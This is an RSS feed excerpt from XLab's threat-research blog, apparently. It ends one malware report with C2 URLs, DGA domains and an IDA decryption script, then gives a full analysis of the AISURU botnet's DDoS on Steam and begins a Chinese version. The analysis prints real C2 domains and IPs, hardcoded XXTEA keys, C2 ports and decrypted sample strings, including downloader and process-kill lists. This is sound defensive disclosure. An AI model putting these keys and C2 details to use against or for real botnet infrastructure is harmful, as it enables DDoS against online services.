http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php https://www.miracles.com.hk/wp-content/plugins/foxiplugin/detail.php
http://152.67.11.54/wordpress//wp-admin/includes/sus.php </code></pre> <h2 id="dga-c2">DGA C2</h2> <h3 id="202301-202312">202301-202312</h3>
<pre><code> kTD7YgOAgjL.com gTD7YgOAgjL.com sTD7YgOAgjL.com EVD7YgOAgjL.com AVD7YgOAgjL.com MVD7YgOAgjL.com IVD7YgOAgjL.com UVD7YgOAgjL.com
QVD7YgOAgjL.com YTC7YgOAgjL.com kTC7YgOAgjL.com gTC7YgOAgjL.com </code></pre> <h3 id="202401202408">202401- 202408</h3> <pre><code>
kTDFUgOAgjL.com gTDFUgOAgjL.com sTDFUgOAgjL.com EVDFUgOAgjL.com AVDFUgOAgjL.com MVDFUgOAgjL.com IVDFUgOAgjL.com UVDFUgOAgjL.com </code></pre>
<h2 id="c2">C2</h2> <pre><code> 216.74.123.97 United States|California|Los Angeles AS834|IPXO LLC 213.139.233.163 Japan|Osaka|Osaka AS34985|ASN
block not managed by the RIPE NCC </code></pre> <h2 id="configs">Configs</h2> <h3 id="github">Github</h3> <pre><code>Address:
https://github[.]com/adrhpbrn29/sudoku1
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"LJHRQW
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"LJHRQW
admin/maint/se3hf6jwc","runnerUrl":"https://www.auntyaliceschool.site/wp-admin/maint/wk8dnj2k"}
{"url":"http://148.102.51.6/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"LJHRQW
{"url":"http://158.177.2.191/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"SLDJK
{"url":"http://64.227.0.146/vendor/guzzlehttp/guzzle/src/Handler/CurlSingleHandler.php","authHeader":"Linux
Max"}'
{"url":"http://216.238.103.62:8013/vendor/guzzlehttp/guzzle/src/Exception/DNSException.php","authHeader":"Rb
</code></pre> <h3 id="pastebin">Pastebin</h3> <pre><code>Address:https://pastebin[.]com/GYEBVyMR
{"url":"http://52.0.85.62/vendor/guzzlehttp/guzzle/src/Exception/detail.php","authHeader":"GGSEDPHP",&q
</code></pre> <h2 id="appendix">Appendix</h2> <h3 id="ida-script">IDA Script</h3> <pre><code># Install flare_emu first # Only test with
93a7cba1edbacb633021ebc38c10a79f # Modify 'decstr_addr' in in your case import flare_emu import base64 import string def
decode(cipher): tmp = cipher[::-1] + b"=" * ((4 - len(cipher) % 4)) out = bytearray() for i, v in
enumerate(base64.urlsafe_b64decode(tmp)): cha = v ^ key[i % len(key)] if chr(cha) in string.ascii_letters: cha ^= 0x20 out.append(cha) out +=
b"=" * ((4 - len(out) % 4) % 4) return base64.urlsafe_b64decode(out) def iterateCallback(eh, address, argv, userData):
ro=ida_segment.get_segm_by_name(".rodata") if ro.start_ea <= argv[0] <=ro.end_ea: buff=eh.getEmuString(argv[0]) if
len(buff)>0: plain=decode(buff) print(hex(argv[0]),buff,"<==============>",plain)
ida_bytes.put_bytes(argv[0],b'\x00'*len(buff)) ida_bytes.put_bytes(argv[0],plain) decstr_addr=0x0000FCD0 key=bytes.fromhex('43
72 61 63 6B 61 6C 61 63 6B 69 6E 27') eh=flare_emu.EmuHelper() eh.iterate(decstr_addr,iterateCallback) </code></pre> <h3
id="cyberchef">CyberChef</h3> <pre>
<code>https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'Hex','string':'2D%208C%207F%20EE%204
</code></pre>]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform]]>
</title>
<description>
<![CDATA[<h1 id="incident-review">Incident Review</h1> On the evening of August 24th, Steam platform suddenly went down, with players
around the world reporting that they were unable to log in. Many players speculate that the crash is caused by too many people online in Black
Myth: Wukong. However, according to the announcement of Perfect]]>
</description>
<link>https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/</link>
<guid isPermaLink="false">66cec1b7a846010001f70057</guid>
<category>
<![CDATA[DDoS]]>
</category>
<category>
<![CDATA[EN]]>
</category>
<category>
<![CDATA[Botnet]]>
</category>
<dc:creator>
<![CDATA[Wang Hao]]>
</dc:creator>
<pubDate>Thu, 29 Aug 2024 11:39:07 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2024/08/aisuru_wkfeature-2-1.png" medium="image"/>
<content:encoded>
<![CDATA[<h1 id="incident-review">Incident Review</h1> <img src="https://blog.xlab.qianxin.com/content/images/2024/08/aisuru_wkfeature-2-
1.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform"> On the evening of August 24th,
Steam platform suddenly went down, with players around the world reporting that they were unable to log in. Many players speculate that the
crash is caused by too many people online in Black Myth: Wukong. However, according to the announcement of Perfect World Esports Platform, the
real cause was a large-scale DDoS attack. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/wanmeishij.png" alt="More
details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> Perfect World
Announcement <img src="https://blog.xlab.qianxin.com/content/images/2024/08/downdetector.png" alt="More details on the DDoS attack
on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> <a href="https://downdetector.com/status/steam/?
ref=blog.xlab.qianxin.com">Downdetector Steam Outages Report <h1 id="xlab%E2%80%99s-insight">XLab’s Insight</h1>
XLAB's CTIA(Cyber Threat Insight Analysis) system conducted an in-depth observation of the DDoS attack. We noticed that the attack
involved nearly 60 botnet control nodes, which is much more than regular botnets. These nodes coordinated and commanded a large number of
infected bots to launch attacks in waves. The targets of the attack included Steam server IPs in 13 regions around the world, including
China, the United States, Sngapore, Sweden, Germany, Austria, Spain, the United Kingdom, Japan, South Korea, Australia, Chile and the
Netherlands. It is worth noting that in addition to Steam's own servers, the Steam servers of Perfect World in China were also listed as

targets of attack. In total, 107 server IPs were attacked. The attack was mainly divided into four waves. The attackers seemed to intentionally choose to launch attacks during the peak online hours of gamers in various time zones to achieve the greatest destructive effect. Given the timing of the attack, the geographical distribution, and the simultaneous targeting of both domestic and international Steam servers, it is clear that the attackers' aim is to disrupt the Chinese market significantly while causing comprehensive interference with the normal operations of the Steam platform on a global scale. This organized attack demonstrates the attackers' meticulous planning in strategy and precise targeting of their objectives. <h2 id="attack-period-analysis">Attack Period Analysis</h2> The attack was mainly divided into four waves, following the time zone. They were Saturday noon in the Eastern Hemisphere, Saturday evening in the Eastern Hemisphere, Saturday evening in the Western Hemisphere, and Sunday evening in Europe, which are all peak times for online gamers. The specific attack time periods and regions are as follows: (Chart description: the horizontal axis is the attack time, the vertical axis is the attacked area, and the color blocks represent the number of servers attacked in the area) <img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.ddos.time.line.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> Detailed attack timeline <ul> Around 11:00 BST on 24 August, the first wave of attacks affected Steam servers in 7 regions and lasted for nearly 1 hour (Saturday noon in the Eastern Hemisphere). Around 21:00 BST on 24 August, the second wave of attacks, affecting 13 regional Steam servers, with intermittent attacks lasting nearly 5 hours (Saturday evening in the Eastern Hemisphere) Around 09:00 BST on 25 August, a third wave of attacks, affecting 13 regional Steam servers, attacked for nearly 15 minutes (Saturday night in the Western Hemisphere) Around 04:00 BST on 26 August, the fourth wave of attacks, affecting Steam servers in 13 regions, the attacks lasted nearly 2 minutes (Sunday night in Europe) <img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.pic.ddos.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> Detailed time and area of the four waves of attacks <h2 id="steams-attacked-services">Steam's Attacked Services</h2> Judging from the following keywords of Steam servers, the servers attacked are mainly: content servers, ingest, broadcastcs, and related services. <pre><code> 27 ext2 27 ext1 18 cm2 18 cm1 11 ext3 9 ext4 5 cm5 5 cm4 5 cm3 4 cm6 3 ext5 1 ingest 1 ext6 1 cm05 1 broadcastcs </code></pre> <h2 id="potential-motives">Potential motives</h2> In this attack, we observed a total of 280,000 attack instructions against the Steam platform. According to our long-term observation, as a well-known gaming platform, Steam attacks occur daily, but they are often small-scale attacks on scattered servers, with the number of attack instructions ranging from a few to dozens of times. In this incident, the number of attack instructions increased by more than 20,000 times, and the peak was 250,000. This increase is very rare (see the figure below, the attack instruction trend chart, the huge spike). Steam's servers in various regions around the world were attacked in turn, including the Steam servers represented by Perfect World in China, which were also attacked. Before the launch of Black Myth: Wukong, we rarely saw major attacks targeting the Perfect World servers. And the attack lasted for up to several hours, and the attack was specifically targeted at the peak time when players in various regions were online. This is extremely rare. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.ddos.line.20240826_41.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> The attack trend of Steam platform in the past year The following is a screenshot of our CTIA System. It shows the ranking of attacked companies in the past month. Steam (Value Company) and Perfect World ranked first and second, far ahead of well-known companies such as Verizon. <img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.ddos.wukong.top.10.uni.2.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> The timing of the Steam attack incident coincided with the first weekend after the launch of Black Myth: Wukong on the Steam platform, and prior to the release of Black Myth: Wukong, we had not witnessed many DDoS attacks on Perfect World Steam servers, which primarily serve domestic gamers. Combining these two points, it is difficult not to suspect that this attack was specifically targeted at the Chinese 3A game masterpiece "Black Myth: Wukong". <h1 id="main-botnets-involved">Main botnets involved</h1> As a worldwide gaming platform, Steam is highly unlikely to be overwhelmed by a smaller-scale botnet. Rather, it is more plausible that numerous botnets were organized and coordinated to launch a concerted attack. It's important to note that no organization in the world possesses an omniscient perspective. This article, from the perspective of XLab, merely analyzes this particular attack incident. Multiple botnets were involved in this attack, with the main force being the self-proclaimed AISURU botnet. It claimed to have more than 30,000 bots in its Telegram channel, with an attack capability of around 1.3 to 2 terabits per second. Below is a graph of the botnet's dstat： <img src="https://blog.xlab.qianxin.com/content/images/2024/08/attack_test.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> In addition the channel also mentioned GSL's Blog, which claimed that it was the largest attack ever reported to the public, and we also found attacks launched from the same time node in the attack logs of this botnet：
 <img src="https://blog.xlab.qianxin.com/content/images/2024/08/attack_log-1.PNG" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> Some readers may not have an idea of these numbers, so let's look at the answers from the hottest AI today. <blockquote> A botnet with 30,000 bots and an attack capability between 1.3 Tbps (terabits per second) and 2 Tbps represents a very powerful network attack capability. To understand this concept, the following aspects can be analysed： Scale of attack：Attack traffic of 1.3 Tbps to 2 Tbps is already huge enough to cause a serious Distributed Denial of Service attack (DDoS), which can cripple a target server, network or application. Typically, traditional enterprise network bandwidth is well below this level, so such an attack can have a devastating impact on the target. Number of bots：30,000 bots means that 30,000 controlled devices are involved in the attack. Each bot may contribute a certain amount of bandwidth to launch the attack, aggregating to a total attack traffic of 1.3 Tbps to 2 Tbps。 Practical effect：A DDoS attack of this magnitude can easily overwhelm most Internet services unless the attacked party has very strong protections and sufficient bandwidth redundancy. This type of attack is commonly seen in high-profile hacking campaigns targeting large corporations, government agencies, or critical infrastructure. </blockquote> <h1 id="aisuru-botnet-technical-details">AISURU Botnet Technical Details</h1> Just as Rome wasn't built in a day, the AISURU botnet has its own development history. In fact, we captured samples of this botnet back in October 2023, but it disappeared after a brief period of operation. It wasn't until early May of this year that it re-emerged in our sights under the name <code>NAKOTNE</code>, and then entered a period of rapid development. It successively exploited more than a dozen 0-day vulnerabilities to build its botnet, ultimately evolving into today's AISURA. The AISURA's tactics and technical aspects are closely related to the Fodcha botnet we discovered and named in 2022. Fodcha has become notorious in the cybersecurity community for its involvement in influential attacks on health codes and Navicat, among other incidents, earning it the nickname "DDoS Maniac" from us. Ultimately, under our series of exposures and strikes, it was forced to shut down. In our view, AISURA seems to be a "follower" or "disciple" of Fodcha, effectively inheriting Fodcha's legacy in both technology and tactics, yet it has also developed a distinctive style, with a threat level no less significant than that of Fodcha. From the tactical aspects, it is similar to Fodcha in that it enjoys provoking security companies and hopes to be publicly named and exposed by well-known security firms to gain attention and boost traffic. By using this unconventional advertising approach, it seeks to gain an advantage in the fiercely competitive cybercrime industry, seemingly well aware of the saying, "Even fine wine fears a deep alley." In the early samples of AISURA, it expressed its "respect" for the security community in this way: <code>N3tL4b360G4y</code>, <code>paloaltoisgaytoo</code>. "paloalto" refers to Palo Alto Networks, a very famous security company in the United States with a market value of over 100 billion; what about <code>N3tL4b360</code>? In fact, it is a Hexspeak that is quite popular in the security community, which refers to the name of our former team. After we disclosed this batch of samples, it quickly and tactfully replaced <code>N3tL4b360G4y</code> with <code>xlab gay</code> in the new samples. Undoubtedly, this has once again brought us exposure. AISURU also pays great attention to our blog. In the latest sample, another message was added: "today at xlab, botnet operators learn how to dance macarena," which reminds us of the previously disclosed Rimasuta botnet, which once left a message in the sample <code>this week on netlab 360 botnet operator learns chacha slide. </code> Today learning chacha slide, tomorrow practicing macarena, both of which are dancing, could it be that the operators of botnets are mostly dance enthusiasts? In this regard, we would like to say to the botnet community, "practice well, and develop a more exciting 'botnet dance' to amaze us!" <img src="https://blog.xlab.qianxin.com/content/images/2024/08/aisuru_brief.png" alt="More details on the DDoS attack on the 《Black Myth: Wukong》 distribution platform" loading="lazy"> In the samples, the C2 domain name <code>foxnointel.ru</code> is mentioned, which has a humorous connotation. It plays on the ID of an active security researcher on platform X, Fox_threatintel, who regularly shares threat intelligence. AISURA's use of the C2 domain <code>foxnointel</code> suggests <code>fox no intel</code>, as if mocking the researcher having no intelligence. From the technical aspects, AISURA has retained some of Fodcha's style in its <code>code structure</code>, such as using a similar switch-case approach for handling various network stages; in terms of <code>infrastructure investment</code>, it has continued Fodcha's "sense of crisis," mapping the C2 domain to more than 20 IPs, distributed across multiple countries including the United States, the United Kingdom, South Korea, Japan, and Russia, while also being spread across platforms like Azure, Linode, Vdsina, and Google, greatly increasing the difficulty of remediation. The geographical distribution of AISURA's main control is as follows: <pre><code> 8 United States 3 United Kingdom 3 South Korea 3 Russia 2 Singapore 2 Japan 2 India 1 The Netherlands 1 Switzerland 1 Poland 1 Brazil </code></pre> Of course, the botnet that likes to stand out is certainly not willing to be labeled as an imitator. AISURA has implemented its own unique innovations in aspects of <code>encryption</code>, <code>network communication</code> and others. <h2 id="string-encrypt">String Encrypt</h2> Earlier versions used CHACHA20 to encrypt the strings in the samples, and in later versions XXTEA encryption was used. NAKOTEN_XXTEA_KEY_HEX: <code>1234567890ABCDEFFEDCBA9876543210</code> In the latest version, the previous KEY is still retained in the sample, but the length has been shortened to 4 and the algorithm is moving towards simplicity by replacing it with BYTES_XOR. AISURU_BYTES_KEY_HEX: <code>12345678</code> The following is a table of decrypted strings: <pre><code>0x1a42c snow slide 0x1a6d0 a|b|c|d|e|f|g|h|j|k:printerconsulting.ru|foxnointel.ru 0x1a438 reports.printerconsulting.ru 0x1a708 5.35.45.162|5.35.44.21|166.1.160.38|194.147.35.35 0x1a458 /login|/products|/contact|/register|/user 0x1a484 /dev/null 0x1a490 /dev/tty 0x1a49c /dev/pts/1 0x1a4a8 /dev/console 0x1a4b8 /.ai 0x1a4c0 /proc/ 0x1a4c8 /proc/self/exe 0x1a4d8 /proc/net/tcp 0x1a4e8 /cmdline 0x1a4f4 /exe 0x1a4fc /proc/uptime 0x1a50c /maps 0x1a514 /fd/ 0x1a51c socket 0x1a524 wget|curl|ftp|ntpdate|echo 0x1a540 telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uc 0x1a5f4 /dev/watchdog 0x1a604 /dev/misc/watchdog 0x1a618 TSource Engine Query 0x1a630 xlab gay 0x1a63c paloaltoisgaytoo 0x1a650 shell 0x1a658 system 0x1a660 enable 0x1a668 sh 0x1a73c /bin/busybox AISURU 0x1a66c AISURU: applet not found 0x1a688 ncorrect 0x1a694 today at xlab, botnet operators learn how to dance macarena </code></pre> <h2 id="network-protocol">Network Protocol</h2> The October 2023 version utilized <code>N3tL4b360G4y</code> as the first payload package and embedded this string in its raw form within the sample. Following exposure, we received a new "response": from the <code>NAKOTNE</code> version onwards, <code>xlab gay</code> was adopted as the first payload package, and it was encrypted and encoded into the string table. <h3 id="extract-c2">Extract C2</h3> In the past, domain names or IPs were directly encrypted and encoded in the string table. However, in the samples we found at the beginning of August, a new mechanism was used to extract C2. In the decrypted string table above, the following suspicious strings exist: <pre><code>[1]

```
a|b|c|d|e|f|g|h|j|k:printerconsulting.ru|foxnointel.ru [2] 5.35.45.162|5.35.44.21|166.1.160.38|194.147.35.35 [3]
/login|/products|/contact|/register|/user </code></pre> <p>After analysis, the new mechanism uses the following steps to obtain C2&#xFF1A;</p>
<ol> <li>Split subdomains and second-level domains in [1] by <code>:</code>, then split each item by <code>|</code></li> <li>Randomly select a
subdomain and a second-level domain name, splice them together to get a C2 domain</li> <li>If resolve the above C2 domain fails, split [2], [3]
with <code>|</code> to get IP and URI</li> <li>Constructs a GET request based on IP and URI and sends it</li> <li>Get the C2 IP in the response
payload in 4-byte increments</li> </ol> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/08/http_get_c2_desc.PNG" alt="More
details on the DDoS attack on the &#x300A;Black Myth: Wukong&#x300B; distribution platform" loading="lazy"></p> <p>The port used by C2 is
hardcoded in the sample, randomly selecting from the following 21 ports:</p> <pre>
<code>2348,12381,8932,8241,38441,23845,8745,6463,7122,1114,6969,1337,4200,3257,7214,2474,4444,2222,3333,5555,24811 </code></pre> <h3
id="network-communication">Network Communication</h3> <p>The communication process has remained unchanged across multiple versions, using a
switch-case similar to that of <code>Fodcha</code> for processing each stage&#xFF1A;</p> <p><img
src="https://blog.xlab.qianxin.com/content/images/2024/08/net_protocol_desc.PNG" alt="More details on the DDoS attack on the &#x300A;Black
Myth: Wukong&#x300B; distribution platform" loading="lazy"></p> <ol> <li>First payload: <code>xlab gay</code></li> <li>Key Exchange <ul>
<li>Use XXTEA to decrypt the payload to get CHACHA20_KEY, CHACHA20_Nonce</li> <li>Hardcoded NET_XXTEA_KEY_HEX:
<code>428723212B0106344C7A095322236921</code></li> </ul> </li> <li>Key Verify <ul> <li>Decrypt the data using the exchanged key and verify the
key consistency by comparing the decrpyted string <code>paloaltoisgaytoo</code></li> </ul> </li> <li>Sned Bot Group Info <ul> <li>Send the
length of group information first, then send the CHACHA20 encrypted payload</li> </ul> </li> </ol> <p>With this, the introduction of the main
technical details of the AISURU botnet is concluded. DDoS, an ancient threat to the network, one of the archenemies of the gaming industry, is
so simple yet brutally effective.</p> <h1 id="summary">Summary</h1> <p>Our team has been focusing on the field of large-scale botnet discovery
and tracking for more than 10 years, and has participated in the early warning, defense and collaboration of many well-known and undisclosed
attacks around the world. However, the organization and intensity of this attack still surprised us. What it the motivie here, is anyone upset
that a game from China has reached the top of the rankings?</p> <h1 id="contact-us">Contact Us</h1> <p>Readers are always welcomed to reach us
on <a href="https://twitter.com/Xlab_qax?ref=blog.xlab.qianxin.com">twitter</a>.</p> <h1 id="partial-ioc">Partial IOC</h1> <p>SHA1:</p> <pre>
<code> b6e5c9e65682ccac071b65743595dae475f7a8b8 458d541bc93937ae6d0139f3f9d42b50fe255636 f0760aeaa0d667a1c100e3d348dbc383451587b1 </code></pre>
<p>Domain:</p> <pre><code> nakotne.pirate nvr.libre a.printerconsulting.ru </code></pre> ]]>
</content:encoded>
</item>
<item>
<title>
<![CDATA[ 《黑神话：悟空》发行平台遭DDoS攻击的更多细节 ]]>
</title>
<description>
<![CDATA[ <h1 id="%E4%BA%8B%E4%BB%B6%E5%9B%9E%E9%A1%BE">&#x4E8B;&#x4EF6;&#x56DE;&#x987E;</h1>
<p>8&#x6708;24&#x65E5;&#x665A;&#xFF0C;Steam&#x5E73;&#x53F0;&#x7A81;&#x7136;&#x5D29;&#x6E83;&#xFF0C;&#x56FD;&#x5185;&#x5916;&#x73A9;&#x5BB6;&#x7
</p> ]]>
</description>
<link>https://blog.xlab.qianxin.com/more_ddos_details_on_steam_cn/</link>
<guid isPermaLink="false">66cc81e2a846010001f6fb7f</guid>
<category>
<![CDATA[ DDoS ]]>
</category>
<dc:creator>
<![CDATA[ Alex.Turing ]]>
</dc:creator>
<pubDate>Wed, 28 Aug 2024 05:25:43 GMT</pubDate>
<media:content url="https://blog.xlab.qianxin.com/content/images/2024/08/aisuru_wkfeature-2.png" medium="image"/>
<content:encoded>
<![CDATA[ <h1 id="%E4%BA%8B%E4%BB%B6%E5%9B%9E%E9%A1%BE">&#x4E8B;&#x4EF6;&#x56DE;&#x987E;</h1> <img
src="https://blog.xlab.qianxin.com/content/images/2024/08/aisuru_wkfeature-2.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
<p>8&#x6708;24&#x65E5;&#x665A;&#xFF0C;Steam&#x5E73;&#x53F0;&#x7A81;&#x7136;&#x5D29;&#x6E83;&#xFF0C;&#x56FD;&#x5185;&#x5916;&#x73A9;&#x5BB6;&#x7
</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/08/wanmeishij.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></p> <center>&#x5B8C;&#x7F8E;&#x4E16;&#x754C;&#x516C;&#x544A;</center> <p><img
src="https://blog.xlab.qianxin.com/content/images/2024/08/downdetector.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></p> <center><a href="https://downdetector.com/status/steam/?
ref=blog.xlab.qianxin.com">Downdetector&#x7528;&#x6237;&#x62A5;&#x544A;&#x7684;Steam &#x4E2D;&#x65AD;&#x60C5;&#x51B5;</a></center> <h1
id="%E5%85%B3%E4%BA%8E%E6%AD%A4%E6%AC%A1%E4%BA%8B%E4%BB%B6xlab%E7%9A%84%E8%A7%82%E5%AF%9F">&#x5173;&#x4E8E;&#x6B64;&#x6B21;&#x4E8B;&#x4EF6;XLab
</h1>
<p>XLAB&#x5927;&#x7F51;&#x5A01;&#x80C1;&#x611F;&#x77E5;&#x7CFB;&#x7EDF;&#x5BF9;&#x6700;&#x8FD1;&#x7684;DDoS&#x653B;&#x51FB;&#x4E8B;&#x4EF6;&#x8
</p>
<p>&#x653B;&#x51FB;&#x7684;&#x76EE;&#x6807;&#x5305;&#x62EC;Steam&#x5728;&#x5168;&#x7403;13&#x4E2A;&#x5730;&#x533A;&#x7684;&#x670D;&#x52A1;&#x56
</p>
<p>&#x653B;&#x51FB;&#x884C;&#x52A8;&#x4E3B;&#x8981;&#x5206;&#x4E3A;&#x56DB;&#x4E2A;&#x6CE2;&#x6B21;&#xFF0C;&#x653B;&#x51FB;&#x8005;&#x4F3C;&#x4
</p>
<p>&#x4ECE;&#x653B;&#x51FB;&#x7684;&#x65F6;&#x95F4;&#x9009;&#x62E9;&#x3001;&#x5730;&#x57DF;&#x5206;&#x5E03;&#xFF0C;&#x4EE5;&#x53CA;&#x540C;&#x6
</p> <h2 id="%E6%94%BB%E5%87%BB%E6%97%B6%E6%AE%B5%E5%88%86%E6%9E%90">&#x653B;&#x51FB;&#x65F6;&#x6BB5;&#x5206;&#x6790;</h2>
<p>&#x6B64;&#x6B21;&#x653B;&#x51FB;&#x4E8B;&#x4EF6;&#x4E3B;&#x8981;&#x5206;4&#x4E2A;&#x6279;&#x6B21;&#x3001;&#x8FFD;&#x7740;&#x65F6;&#x533A;&#x
</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.ddos.time.line.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></p> <p>&#x8BE6;&#x7EC6;&#x653B;&#x51FB;&#x65F6;&#x95F4;&#x7EBF;</p> <ul>
<li>&#x5317;&#x4EAC;24&#x65E5;11&#x70B9;&#x524D;&#x540E;&#xFF0C;&#x7B2C;&#x4E00;&#x6CE2;&#x5C1D;&#x8BD5;&#x653B;&#x51FB;&#xFF0C;&#x5F71;&#x54CD
</li>
<li>&#x5317;&#x4EAC;24&#x65E5;21&#x70B9;&#x524D;&#x540E;&#xFF0C;&#x7B2C;&#x4E8C;&#x6CE2;&#x653B;&#x51FB;&#xFF0C;&#x5F71;&#x54CD;13&#x4E2A;&#x57
</li>
<li>&#x5317;&#x4EAC;25&#x65E5;09&#x70B9;&#x524D;&#x540E;&#xFF0C;&#x7B2C;&#x4E09;&#x6CE2;&#x653B;&#x51FB;&#xFF0C;&#x5F71;&#x54CD;13&#x4E2A;&#x57
</li>
<li>&#x5317;&#x4EAC;26&#x65E5;04&#x70B9;&#x524D;&#x540E;&#xFF0C;&#x7B2C;&#x56DB;&#x6CE2;&#x653B;&#x51FB;&#xFF0C;&#x5F71;&#x54CD;13&#x4E2A;&#x57
<br> <img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.pic.ddos.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></li> </ul> <center>&#x56DB;&#x6CE2;&#x653B;&#x51FB;&#x7684;&#x8BE6;&#x7EC6;&#x65F6;&#x95F4;&#x548C;&#x5730;&#x533A;</center>
<h2 id="steam%E8%A2%AB%E6%94%BB%E5%87%BB%E7%9A%84%E6%9C%8D%E5%8A%A1">Steam&#x88AB;&#x653B;&#x51FB;&#x7684;&#x670D;&#x52A1;</h2>
<p>&#x4ECE;&#x8FD9;&#x4E9B;Steam&#x670D;&#x52A1;&#x5668;&#x7684;&#x7684;&#x5173;&#x952E;&#x5B57;&#x731C;&#x6D4B;&#xFF0C;&#x88AB;&#x653B;&#x51FB
</p> <pre><code> 27 ext2 27 ext1 18 cm2 18 cm1 11 ext3 9 ext4 5 cm5 5 cm4 5 cm3 4 cm6 3 ext5 1 ingest 1 ext6 1 cm05 1 broadcastcs </code></pre>
<h2 id="%E6%94%BB%E5%87%BB%E5%8A%A8%E6%9C%BA%E6%8E%A8%E6%B5%8B">&#x653B;&#x51FB;&#x52A8;&#x673A;&#x63A8;&#x6D4B;</h2>
<p>&#x6B64;&#x6B21;&#x653B;&#x51FB;&#x4E8B;&#x4EF6;&#x6211;&#x4EEC;&#x4E00;&#x5171;&#x89C2;&#x5BDF;&#x5230;&#x4E86;28&#x4E07;&#x6761;&#x9488;&#x
&#x5CF0;&#x503C;&#x65F6;&#x653B;&#x51FB;&#x6307;&#x4EE4;25&#x4E07;&#xFF0C;&#x8FD9;&#x79CD;&#x6DA8;&#x5E45;&#x662F;&#x975E;&#x5E38;&#x7F55;&#x89
(&#x89C1;&#x4E0B;&#x56FE;&#xFF0C;&#x653B;&#x51FB;&#x6307;&#x4EE4;&#x8D8B;&#x52BF;&#x56FE;&#xFF0C;&#x5DE8;&#x5927;&#x7684;&#x5C16;&#x5CF0;&#xFF0
</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.ddos.line.20240826_41.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></p>
<center>&#x8FC7;&#x53BB;&#x4E00;&#x5E74;&#x9488;&#x5BF9;steam&#x5E73;&#x53F0;&#x7684;&#x653B;&#x51FB;&#x4E8B;&#x4EF6;&#x653B;&#x51FB;&#x6307;&#
</center>
<p>&#x4E0B;&#x56FE;&#x662F;&#x6211;&#x4EEC;&#x7684;&#x5927;&#x7F51;&#x5A01;&#x80C1;&#x611F;&#x77E5;&#x7CFB;&#x7EDF;&#x7684;&#x622A;&#x56FE;&#x
</p> <p><img src="https://blog.xlab.qianxin.com/content/images/2024/08/steam.ddos.wukong.top.10.uni.2.png"
alt="&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x609F;&#x7A7A;&#x300B;&#x53D1;&#x884C;&#x5E73;&#x53F0;&#x906D;DDoS&#x653B;&#x51FB;&#x7684;&#x66F
loading="lazy"></p>
<p>&#x7ED3;&#x5408;&#x6700;&#x8FD1;&#x706B;&#x51FA;&#x5708;&#x7684;&#x56FD;&#x4EA7;&#x6E38;&#x620F;&#x300A;&#x9ED1;&#x795E;&#x8BDD;&#xFF1A;&#x6
</p> <h1
id="%E4%B8%BB%E8%A6%81%E6%B6%89%E4%BA%8B%E5%83%B5%E5%B0%B8%E7%BD%91%E7%BB%9C">&#x4E3B;&#x8981;&#x6D89;&#x4E8B;&#x50F5;&#x5C38;&#x7F51;&#x7EDC;
</h1>
